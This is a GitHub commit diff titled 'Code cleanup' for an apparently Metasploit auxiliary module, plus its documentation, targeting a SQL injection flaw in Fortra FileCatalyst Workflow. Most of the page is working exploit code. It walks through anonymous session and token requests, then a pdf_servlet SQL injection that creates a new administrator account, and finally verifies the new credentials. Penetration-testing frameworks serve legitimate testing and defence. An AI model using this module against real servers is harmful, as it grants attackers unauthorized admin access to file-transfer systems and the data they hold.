Skip to content

Commit 26d6347

Browse files
committed
Code cleanup
Code cleanup
1 parent 8bef9b5 commit 26d6347

File tree

2 files changed

+12
-28
lines changed

2 files changed

+12
-28
lines changed

modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md renamed to documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@ The vendor published an advisory [here]
77
(https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0)
88
and [here](https://www.fortra.com/security/advisories/product-security/fi-2024-008).
99

10+
The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2024-25).
11+
1012
## Testing
1113

1214
The software can be obtained from the [vendor](https://www.goanywhere.com/products/filecatalyst/trial).

modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb

Lines changed: 10 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -36,14 +36,13 @@ def initialize(info = {})
3636

3737
register_options([
3838
OptString.new('TARGETURI', [true, 'Base path', '/']),
39-
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
39+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
4040
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
4141
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
4242
])
4343
end
4444

4545
def run
46-
# 1) Request workflow to obtain a session ID
4746
print_status('Starting SQL injection workflow...')
4847

4948
res = send_request_cgi(
@@ -69,7 +68,6 @@ def run
6968
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
7069
end
7170

72-
# 2) logon.jsp to retrieve a valid FCWEB.FORM.TOKEN
7371
res = send_request_cgi(
7472
'method' => 'GET',
7573
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
@@ -82,15 +80,14 @@ def run
8280
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
8381
end
8482

85-
res = res.body
86-
if res =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
83+
body = res.body
84+
if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
8785
token_value = ::Regexp.last_match(1)
8886
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
8987
else
9088
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
9189
end
9290

93-
# 3) logonAnonymous.do
9491
res = send_request_cgi(
9592
'method' => 'GET',
9693
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
@@ -111,7 +108,6 @@ def run
111108
fail_with(Failure::UnexpectedReply, 'Location header not found.')
112109
end
113110

114-
# 4) createNewJob.do
115111
res = send_request_cgi(
116112
'method' => 'GET',
117113
'uri' => normalize_uri(target_uri.path, location_value.to_s),
@@ -132,7 +128,6 @@ def run
132128
fail_with(Failure::UnexpectedReply, 'Location header not found.')
133129
end
134130

135-
# 5) chooseOrderForm.jsp
136131
res = send_request_cgi(
137132
'method' => 'GET',
138133
'uri' => normalize_uri(target_uri.path, location_value.to_s),
@@ -153,13 +148,12 @@ def run
153148
if h2_text == 'Choose an Order Type'
154149
print_status('Received expected response.')
155150
else
156-
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag.')
151+
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
157152
end
158153
else
159154
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
160155
end
161156

162-
# 5) pdf_servlet (SQL injection)
163157
t = Time.now
164158
username = datastore['NEW_USERNAME']
165159
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
@@ -214,21 +208,12 @@ def run
214208
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
215209
end
216210

217-
case res.code
218-
when 200
219-
if res.body.to_s == ''
220-
print_good('SQL injection successful!')
221-
else
222-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
223-
end
224-
else
225-
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
226-
end
211+
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
212+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
213+
print_good('SQL injection successful!')
227214

228-
# Confirm that the credentials work
229215
print_status('Confirming credentials...')
230216

231-
# 1) logon.jsp to retrieve a valid FCWEB.FORM.TOKEN
232217
res = send_request_cgi(
233218
'method' => 'GET',
234219
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
@@ -237,19 +222,16 @@ def run
237222
}
238223
)
239224

240-
unless res
241-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
242-
end
225+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
243226

244-
res = res.body
245-
if res =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
227+
body = res.body
228+
if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
246229
token_value = ::Regexp.last_match(1)
247230
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
248231
else
249232
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
250233
end
251234

252-
# 2) Authenticate
253235
res = send_request_cgi(
254236
'method' => 'POST',
255237
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),

0 commit comments

Comments
 (0)